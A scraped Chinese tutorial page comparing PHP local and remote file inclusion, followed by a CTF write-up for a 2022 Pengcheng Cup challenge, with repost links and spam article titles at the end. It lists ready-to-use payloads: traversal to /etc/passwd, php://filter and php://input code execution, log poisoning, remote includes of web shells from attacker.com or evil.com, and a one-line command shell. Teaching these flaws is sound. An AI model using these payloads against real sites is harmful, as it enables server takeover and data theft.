当前位置: 首页 > wzjs >正文

怎么用网站做远控怎么开发一个网站项目

怎么用网站做远控,怎么开发一个网站项目,iis默认网站 建设中,玄圭互联网站建设推广远程文件包含与本地文件包含的区别 对比 对比项本地文件包含(LFI)远程文件包含(RFI)定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件依赖条件不需要特殊配置需要allow_url_incl…

远程文件包含与本地文件包含的区别

对比

对比项本地文件包含(LFI)远程文件包含(RFI)
定义攻击者包含服务器本地的文件攻击者包含远程服务器(如HTTP/FTP)上的文件
依赖条件不需要特殊配置需要allow_url_include=On(PHP)
常见利用方式1. 读取敏感文件(/etc/passwd
2. 日志文件注入
3. PHP包装器(php://filter
1. 包含远程恶意脚本(http://evil.com/shell.txt
2. 直接执行远程PHP代码
危害1. 敏感信息泄露
2. 可能升级为RCE(如日志注入)
1. 直接远程代码执行(RCE)
2. 完全控制服务器
防御难度较容易(禁用危险函数+输入过滤)较难(需关闭远程包含功能)
示例Payload?file=../../etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
?file=http://attacker.com/shell.txt
?file=data://text/plain,<?php system('id');?>

例子对比

本地文件包含(LFI)

源代码的关键代码

include($_GET['file'] . '.php');

【这个代码对参数进行了处理,即在参数后面增加了一个.php的后缀,这就是将任何参数都转为了一个php文件】

 攻击者的payload

?file=../../etc/passwd%00  # 读取系统文件
?file=php://filter/convert.base64-encode/resource=config.php  # 读取PHP源码

 远程文件包含(RFI)

源代码的关键代码

include($_GET['url']);  // 未过滤直接包含远程文件

攻击者的payload

?url=http://evil.com/shell.txt  # 包含远程Web Shell
?url=data://text/plain,<?php system("ls");?>  # 直接执行代码

根据这两个例子的对比就可以看到其实二者从源代码其实是很难分辨出来,但是对于传入的payload却是有所不同的

本地文件包含的payload主要是文件路径(../../ )和php包装(php://)

远程文件包含的payload主要是url协议(比如:http://  或  ftp://等)

payload

LFI典型Payload示例

(1) 读取敏感文件

?file=../../../../etc/passwd
?page=/var/www/html/config.php

(2) 路径遍历绕过

?file=....//....//etc/passwd      # 双重编码绕过
?file=%2e%2e%2fetc%2fpasswd      # URL编码

(3) PHP包装器利用

?file=php://filter/convert.base64-encode/resource=index.php  # 读取PHP源码
?file=php://input              # 通过POST传入代码
[POST DATA]: <?php system("id");?>

(4) 日志文件注入

?file=/var/log/apache2/access.log
# 需先通过User-Agent或Referer注入PHP代码

(5) Null字节截断 (PHP < 5.3.4)

?file=../../etc/passwd%00      # 截断后缀

RFI典型Payload示例

(1) 基本远程包含

?file=http://attacker.com/shell.txt
?lib=ftp://evil.net/cmd.php

(2) 自动附加后缀的绕过

?file=http://attacker.com/shell.txt?   # 问号截断
?file=http://attacker.com/shell.txt%00 # Null字节截断

(3) data协议利用 (伪RFI)

?file=data://text/plain,<?php system("id");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+

(4) 结合短标签

?file=http://attacker.com/shell.txt&cmd=id
# shell.txt内容: <?=`$_GET[cmd]`?>

做个题

[鹏城杯 2022]简单包含

打开环境后得到的源码

这里看到直接告诉了flag的位置,  那么就猜测是一个 本地文件包含

直接去访问这个文件竟然输出waf

那看来这个有问题

试试php伪协议

在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参还是不行,去访问一下index.php看一下源码

去base64解码得到源码

<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {Secho 'nssctf waf!';
} else {@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

这里的关键代码就是if语句那一段

大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出“nssctf waf!”


这里拓展两个知识

与常见输入方法的对比

方法获取内容数据格式大小限制
php://input原始请求体原始二进制/文本
$_POST解析后的表单数据数组受限于 post_max_size
$_GETURL 查询参数数组URL 长度限制
$HTTP_RAW_POST_DATA原始 POST 数据(已弃用)原始数据

file_get_contents()函数

该函数的作用是将某文件读取为字符串

比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。


 那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议

我的payload

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php

 

或者直接访问源代码所给的文件路径

得到的编码进行base64解码就可以了


文章转载自:

http://ioxIGdPT.dbLgm.cn
http://18ukLUSG.dbLgm.cn
http://j7IoX4xY.dbLgm.cn
http://9U5iaVnN.dbLgm.cn
http://p1k1Vug6.dbLgm.cn
http://cC6cnv5N.dbLgm.cn
http://CBvFSB8O.dbLgm.cn
http://iwTEWCp3.dbLgm.cn
http://DLk8HCbb.dbLgm.cn
http://qyHmrNL9.dbLgm.cn
http://ZNBbaOWf.dbLgm.cn
http://wNunt6c0.dbLgm.cn
http://6tPKzI3b.dbLgm.cn
http://WDIQwIMd.dbLgm.cn
http://4cqnvUQn.dbLgm.cn
http://7S3zYruy.dbLgm.cn
http://9c5v18iB.dbLgm.cn
http://iA2SNwaM.dbLgm.cn
http://d1JMq0k9.dbLgm.cn
http://8QGpKhGM.dbLgm.cn
http://hoAF4kbr.dbLgm.cn
http://BnBofRG5.dbLgm.cn
http://wzWGPwiX.dbLgm.cn
http://Rm6OiaqQ.dbLgm.cn
http://vYi5KULP.dbLgm.cn
http://gqqKp3lV.dbLgm.cn
http://eagjMfT7.dbLgm.cn
http://HUbtxtJ1.dbLgm.cn
http://qemlRYxA.dbLgm.cn
http://1yDHJOhu.dbLgm.cn
http://www.dtcms.com/wzjs/668838.html

相关文章:

  • 苏州建设网站天猫商城官网首页
  • html生成网站小程序开发兼职的小知识
  • 淘宝网站建设可以申请赔款wordpress会员组
  • 品牌网站建设有哪两种模式网站找哪家做较好
  • 网站建设教程集体苏州久远网络wordpress商业主题
  • 短视频网站怎么建设郑州外贸网站建站
  • 浙江省建设安全协会网站如何申请com网站
  • 三亚网站建设哪家好软件外包平台哪家好
  • 网站制作学习做个公司网站一般需要多少钱
  • 网站建设需要客户提供什么重庆市建设医院网站
  • 南京品牌网站设计上海奉贤网站建设 列表网
  • 网站怎做百度代码统计微信客户端网站建设
  • php门户网站模板下载建设企业网银
  • 建设响应式网站有哪些好处如何判断网站是否被k
  • 长治网站建设推广多用户旅游网站开发
  • 住房和城乡建设部官方网站发布网站建设与维护中职
  • 用什么网站做问卷珠海网站制作价格
  • 重庆网站建设公司价钱常德建设企业网站
  • 买书的网站排名wordpress百度百科
  • 在网站上显示地图校园网拓扑图设计方案
  • 做外贸如何访问国外网站网站报错401
  • 动漫网站源码自动采级优化关键词排名外包
  • 担路网提供网站建设个人网页设计作品模板学生
  • 可视化网站开发巨鹿网站制作
  • wordpress插件一般开源seo技术培训茂名
  • 贵阳网站空间视频拍摄软件
  • 国外网站发展建设wordpress配置网站
  • 网站推广的基本方法为快速做网站
  • 网站开发策划书wordpress在线编辑慢
  • 做飞象金服的网站中文域名 怎么做网站